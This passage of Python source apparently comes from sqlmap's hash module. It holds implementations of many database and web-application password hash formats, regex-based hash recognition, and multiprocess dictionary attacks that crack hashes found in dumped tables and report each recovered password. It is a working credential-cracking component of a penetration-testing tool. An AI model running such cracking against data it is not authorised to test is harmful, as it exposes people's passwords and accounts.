'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' """ binsalt = decodeHex(salt) password = getBytes(password) retVal = "s:%s%s" % (sha1(password + binsalt).hexdigest(), salt) return retVal.upper() if uppercase else retVal.lower() def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' """ Reference(s): http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ >>> oracle_old_passwd(password='tiger', username='scott', uppercase=True) 'F894844C34402B67' """ IV, pad = b"\0" * 8, b"\0" unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) if des.__module__ == "Crypto.Cipher.DES": unistr += b"\0" * ((8 - len(unistr) % 8) & 7) cipher = des(decodeHex("0123456789ABCDEF"), CBC, iv=IV) encrypted = cipher.encrypt(unistr) cipher = des(encrypted[-8:], CBC, iv=IV) encrypted = cipher.encrypt(unistr) else: cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad) encrypted = cipher.encrypt(unistr) cipher = des(encrypted[-8:], CBC, IV, pad) encrypted = cipher.encrypt(unistr) retVal = encodeHex(encrypted[-8:], binary=False) return retVal.upper() if uppercase else retVal.lower() def md5_generic_passwd(password, uppercase=False): """ >>> md5_generic_passwd(password='testpass', uppercase=False) '179ad45c6ce2cb97cf1029e212046e81' """ password = getBytes(password) retVal = md5(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha1_generic_passwd(password, uppercase=False): """ >>> sha1_generic_passwd(password='testpass', uppercase=False) '206c80413b9a96c1312cc346b7d2517b84463edd' """ password = getBytes(password) retVal = sha1(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def apache_sha1_passwd(password, **kwargs): """ >>> apache_sha1_passwd(password='testpass') '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' """ password = getBytes(password) return "{SHA}%s" % getText(base64.b64encode(sha1(password).digest())) def ssha_passwd(password, salt, **kwargs): """ >>> ssha_passwd(password='testpass', salt='salt') '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' """ password = getBytes(password) salt = getBytes(salt) return "{SSHA}%s" % getText(base64.b64encode(sha1(password + salt).digest() + salt)) def ssha256_passwd(password, salt, **kwargs): """ >>> ssha256_passwd(password='testpass', salt='salt') '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' """ password = getBytes(password) salt = getBytes(salt) return "{SSHA256}%s" % getText(base64.b64encode(sha256(password + salt).digest() + salt)) def ssha512_passwd(password, salt, **kwargs): """ >>> ssha512_passwd(password='testpass', salt='salt') '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' """ password = getBytes(password) salt = getBytes(salt) return "{SSHA512}%s" % getText(base64.b64encode(sha512(password + salt).digest() + salt)) def sha224_generic_passwd(password, uppercase=False): """ >>> sha224_generic_passwd(password='testpass', uppercase=False) '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' """ retVal = sha224(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha256_generic_passwd(password, uppercase=False): """ >>> sha256_generic_passwd(password='testpass', uppercase=False) '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' """ retVal = sha256(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha384_generic_passwd(password, uppercase=False): """ >>> sha384_generic_passwd(password='testpass', uppercase=False) '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' """ retVal = sha384(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha512_generic_passwd(password, uppercase=False): """ >>> sha512_generic_passwd(password='testpass', uppercase=False) '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' """ retVal = sha512(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() def crypt_generic_passwd(password, salt, **kwargs): """ Reference(s): http://docs.python.org/library/crypt.html http://helpful.knobs-dials.com/index.php/Hashing_notes http://php.net/manual/en/function.crypt.php http://carey.geek.nz/code/python-fcrypt/ >>> crypt_generic_passwd(password='rasmuslerdorf', salt='rl', uppercase=False) 'rl.3StKT.4T8M' """ return getText(crypt(password, salt)) def unix_md5_passwd(password, salt, magic="$1$", **kwargs): """ Reference(s): http://www.sabren.net/code/python/crypt/md5crypt.py >>> unix_md5_passwd(password='testpass', salt='aD9ZLmkp') '$1$aD9ZLmkp$DRM5a7rRZGyuuOPOjTEk61' """ def _encode64(value, count): output = "" while (count - 1 >= 0): count = count - 1 output += ITOA64[value & 0x3f] value = value >> 6 return output password = getBytes(password) magic = getBytes(magic) salt = getBytes(salt) salt = salt[:8] ctx = password + magic + salt final = md5(password + salt + password).digest() for pl in xrange(len(password), 0, -16): if pl > 16: ctx = ctx + final[:16] else: ctx = ctx + final[:pl] i = len(password) while i: if i & 1: ctx = ctx + b'\x00' # if ($i & 1) { $ctx->add(pack("C", 0)); } else: ctx = ctx + password[0:1] i = i >> 1 final = md5(ctx).digest() for i in xrange(1000): ctx1 = b"" if i & 1: ctx1 = ctx1 + password else: ctx1 = ctx1 + final[:16] if i % 3: ctx1 = ctx1 + salt if i % 7: ctx1 = ctx1 + password if i & 1: ctx1 = ctx1 + final[:16] else: ctx1 = ctx1 + password final = md5(ctx1).digest() hash_ = _encode64((int(ord(final[0:1])) << 16) | (int(ord(final[6:7])) << 8) | (int(ord(final[12:13]))), 4) hash_ = hash_ + _encode64((int(ord(final[1:2])) << 16) | (int(ord(final[7:8])) << 8) | (int(ord(final[13:14]))), 4) hash_ = hash_ + _encode64((int(ord(final[2:3])) << 16) | (int(ord(final[8:9])) << 8) | (int(ord(final[14:15]))), 4) hash_ = hash_ + _encode64((int(ord(final[3:4])) << 16) | (int(ord(final[9:10])) << 8) | (int(ord(final[15:16]))), 4) hash_ = hash_ + _encode64((int(ord(final[4:5])) << 16) | (int(ord(final[10:11])) << 8) | (int(ord(final[5:6]))), 4) hash_ = hash_ + _encode64((int(ord(final[11:12]))), 2) return getText(magic + salt + b'$' + getBytes(hash_)) def joomla_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/10428239 >>> joomla_passwd(password='testpass', salt='6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf') 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' """ return "%s:%s" % (md5(getBytes(password) + getBytes(salt)).hexdigest(), salt) def django_md5_passwd(password, salt, **kwargs): """ Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py >>> django_md5_passwd(password='testpass', salt='salt') 'md5$salt$972141bcbcb6a0acc96e92309175b3c5' """ return "md5$%s$%s" % (salt, md5(getBytes(salt) + getBytes(password)).hexdigest()) def django_sha1_passwd(password, salt, **kwargs): """ Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py >>> django_sha1_passwd(password='testpass', salt='salt') 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' """ return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) def vbulletin_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/2202810 >>> vbulletin_passwd(password='testpass', salt='salt') '85c4d8ea77ebef2236fb7e9d24ba9482:salt' """ return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt) def oscommerce_old_passwd(password, salt, **kwargs): """ Reference: http://ryanuber.com/09-24-2010/os-commerce-password-hashing.html >>> oscommerce_old_passwd(password='testpass', salt='6b') '16d39816e4545b3179f86f2d2d549af4:6b' """ return "%s:%s" % (md5(getBytes(salt) + getBytes(password)).hexdigest(), salt) def phpass_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php https://www.openwall.com/phpass/ https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py >>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$') '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' >>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$') '$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/' >>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$') '$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W' """ def _encode64(input_, count): output = '' i = 0 while i < count: value = (input_[i] if isinstance(input_[i], int) else ord(input_[i])) i += 1 output = output + ITOA64[value & 0x3f] if i < count: value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 8) output = output + ITOA64[(value >> 6) & 0x3f] i += 1 if i >= count: break if i < count: value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 16) output = output + ITOA64[(value >> 12) & 0x3f] i += 1 if i >= count: break output = output + ITOA64[(value >> 18) & 0x3f] return output password = getBytes(password) f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix] cipher = f(getBytes(salt)) cipher.update(password) hash_ = cipher.digest() for i in xrange(count): _ = f(hash_) _.update(password) hash_ = _.digest() retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_))) if prefix == "$S$": # Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x retVal = retVal[:55] return retVal __functions__ = { HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, HASH.MSSQL: mssql_passwd, HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, HASH.ORACLE: oracle_passwd, HASH.ORACLE_OLD: oracle_old_passwd, HASH.MD5_GENERIC: md5_generic_passwd, HASH.SHA1_GENERIC: sha1_generic_passwd, HASH.SHA224_GENERIC: sha224_generic_passwd, HASH.SHA256_GENERIC: sha256_generic_passwd, HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, HASH.APACHE_SHA1: apache_sha1_passwd, HASH.VBULLETIN: vbulletin_passwd, HASH.VBULLETIN_OLD: vbulletin_passwd, HASH.OSCOMMERCE_OLD: oscommerce_old_passwd, HASH.SSHA: ssha_passwd, HASH.SSHA256: ssha256_passwd, HASH.SSHA512: ssha512_passwd, HASH.MD5_BASE64: md5_generic_passwd, HASH.SHA1_BASE64: sha1_generic_passwd, HASH.SHA256_BASE64: sha256_generic_passwd, HASH.SHA512_BASE64: sha512_generic_passwd, } def _finalize(retVal, results, processes, attack_info=None): if _multiprocessing: gc.enable() # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367 # NOTE: https://dzone.com/articles/python-101-creating-multiple-processes for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass if retVal: removals = set() if conf.hashDB: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) results.append(item) removals.add((user, hash_)) hashDBWrite(hash_, word) for item in attack_info or []: if (item[0][0], item[0][1]) in removals: attack_info.remove(item) if conf.hashDB: conf.hashDB.endTransaction() if hasattr(retVal, "close"): retVal.close() def storeHashesToFile(attack_dict): if not attack_dict: return items = OrderedSet() for user, hashes in attack_dict.items(): for hash_ in hashes: hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if hash_ and hash_ != NULL and hashRecognition(hash_): item = None if user and not user.startswith(DUMMY_USER_PREFIX): item = "%s:%s\n" % (user, hash_) else: item = "%s\n" % hash_ if item and item not in items: items.add(item) if kb.choices.storeHashes is None: message = "do you want to store hashes to a temporary file " message += "for eventual further processing with other tools [y/N] " kb.choices.storeHashes = readInput(message, default='N', boolean=True) if items and kb.choices.storeHashes: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt") os.close(handle) infoMsg = "writing hashes to a temporary file '%s' " % filename logger.info(infoMsg) with openFile(filename, "w+") as f: for item in items: try: f.write(item) except (UnicodeError, TypeError): pass def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: results = dictionaryAttack(kb.data.cachedUsersPasswords) lut = {} for (_, hash_, password) in results: lut[hash_.lower()] = password for user in kb.data.cachedUsersPasswords: for i in xrange(len(kb.data.cachedUsersPasswords[user])): if (kb.data.cachedUsersPasswords[user][i] or "").strip(): value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] if value in lut: kb.data.cachedUsersPasswords[user][i] += "%s clear-text password: %s" % ('\n' if kb.data.cachedUsersPasswords[user][i][-1] != '\n' else '', lut[value]) def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable columns = list(table.keys()) count = table["__infos__"]["count"] if not count: return debugMsg = "analyzing table dump for possible password hashes" logger.debug(debugMsg) found = False col_user = '' col_passwords = set() attack_dict = {} binary_fields = OrderedSet() replacements = {} for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break for column in columns: if column != "__infos__" and table[column]["values"]: if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]): binary_fields.add(column) if binary_fields: _ = ','.join(binary_fields) warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _ warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ logger.warning(warnMsg) for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break for column in columns: if column == col_user or column == "__infos__": continue if len(table[column]["values"]) <= i: continue if conf.binaryFields and column in conf.binaryFields: continue value = table[column]["values"][i] if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: previous = value value = encodeHex(getBytes(value), binary=False) replacements[value] = previous if hashRecognition(value): found = True if col_user and i < len(table[col_user]["values"]): if table[col_user]["values"][i] not in attack_dict: attack_dict[table[col_user]["values"][i]] = [] attack_dict[table[col_user]["values"][i]].append(value) else: attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) if attack_dict: infoMsg = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "") infoMsg += "'%s'" % ", ".join(col for col in col_passwords) logger.info(infoMsg) storeHashesToFile(attack_dict) message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]") choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) lut = dict() for (_, hash_, password) in results: if hash_: key = hash_ if hash_ not in replacements else replacements[hash_] lut[key.lower()] = password lut["0x%s" % key.lower()] = password debugMsg = "post-processing table dump" logger.debug(debugMsg) for i in xrange(count): for column in columns: if not (column == col_user or column == '__infos__' or len(table[column]['values']) <= i): value = table[column]['values'][i] if value and value.lower() in lut: table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) @cachedmethod def hashRecognition(value): """ >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC True >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE True >>> hashRecognition("foobar") == None True """ retVal = None if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes) isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) if kb.cache.hashRegex is None: parts = [] for name, regex in getPublicTypeMembers(HASH): # Hashes for Oracle and old MySQL look the same hence these checks if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue elif regex == HASH.CRYPT_GENERIC: if any((value.lower() == value, value.upper() == value)): continue else: parts.append("(?P<%s>%s)" % (name, regex)) kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "") if isinstance(value, six.string_types): match = re.search(kb.cache.hashRegex, value, re.I) if match: algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0] retVal = getattr(HASH, algorithm) return retVal def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() count = 0 rotator = 0 hashes = set(item[0][1] for item in attack_info) wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if not attack_info: break count += 1 if isinstance(word, six.binary_type): word = getUnicode(word) elif not isinstance(word, six.string_types): continue if suffix: word = word + suffix try: current = __functions__[hash_regex](password=word, uppercase=False) if current in hashes: for item in attack_info[:]: ((user, hash_), _) = item if hash_ == current: retVal.put((user, hash_, word)) clearConsoleLine() infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'\n" % user else: infoMsg += " for hash '%s'\n" % hash_ dataToStdout(infoMsg, True) attack_info.remove(item) elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries except Exception as ex: warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() count = 0 rotator = 0 wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if found.value: break count += 1 if isinstance(word, six.binary_type): word = getUnicode(word) elif not isinstance(word, six.string_types): continue if suffix: word = word + suffix try: current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) if hash_ == current: if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes word = word.upper() retVal.put((user, hash_, word)) clearConsoleLine() infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'\n" % user else: infoMsg += " for hash '%s'\n" % hash_ dataToStdout(infoMsg, True) found.value = True elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if user and not user.startswith(DUMMY_USER_PREFIX): status += " (user: %s)" % user if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries except Exception as ex: warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def dictionaryAttack(attack_dict): global _multiprocessing suffix_list = [""] custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] user_hash = [] processException = False foundHash = False if conf.disableMulti: _multiprocessing = None else: # Note: https://github.com/sqlmapproject/sqlmap/issues/4367 try: import multiprocessing # problems on FreeBSD (Reference: https://web.archive.org/web/20110710041353/http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) _ = multiprocessing.Queue() # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) _ = multiprocessing.Value('i') except (ImportError, OSError, AttributeError): pass else: try: if multiprocessing.cpu_count() > 1: _multiprocessing = multiprocessing except NotImplementedError: pass for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[regex].__name__ logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): try: item = None if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017 hash_ = hash_[2:] item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}] elif hash_regex in (HASH.SSHA256,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}] elif hash_regex in (HASH.SSHA512,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): item = [(user, hash_), {"salt": hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {"salt": hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC,): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] else: warnMsg = "invalid hash '%s'" % hash_ logger.warning(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) except (binascii.Error, TypeError, IndexError): pass if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default='1') try: if choice == '2': message = "what's the custom dictionary's location?\n" dictPath = readInput(message) if dictPath: dictPaths = [dictPath] logger.info("using custom dictionary") elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") dictPaths = [_ for _ in dictPaths if _] for dictPath in dictPaths: checkFile(dictPath) if isZipFile(dictPath): _ = zipfile.ZipFile(dictPath, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % dictPath raise SqlmapDataException(errMsg) else: _.open(_.namelist()[0]) kb.wordlists = dictPaths except Exception as ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__ logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) # Algorithms without extra arguments (e.g. salt and/or username) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) retVal = _queue.Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warning(warnMsg) finally: _finalize(retVal, results, processes, attack_info) clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) class Value(object): pass retVal = _queue.Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warning(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: _finalize(retVal, results, processes, attack_info) clearConsoleLine() results.extend(resumes) if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" logger.warning(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" logger.warning(warnMsg) return results def crackHashFile(hashFile): i = 0 attack_dict = {} check = None for line in getFileItems(conf.hashFile): if check is None and not attack_dict and ':' in line: check = any(re.search(_, line) for _ in 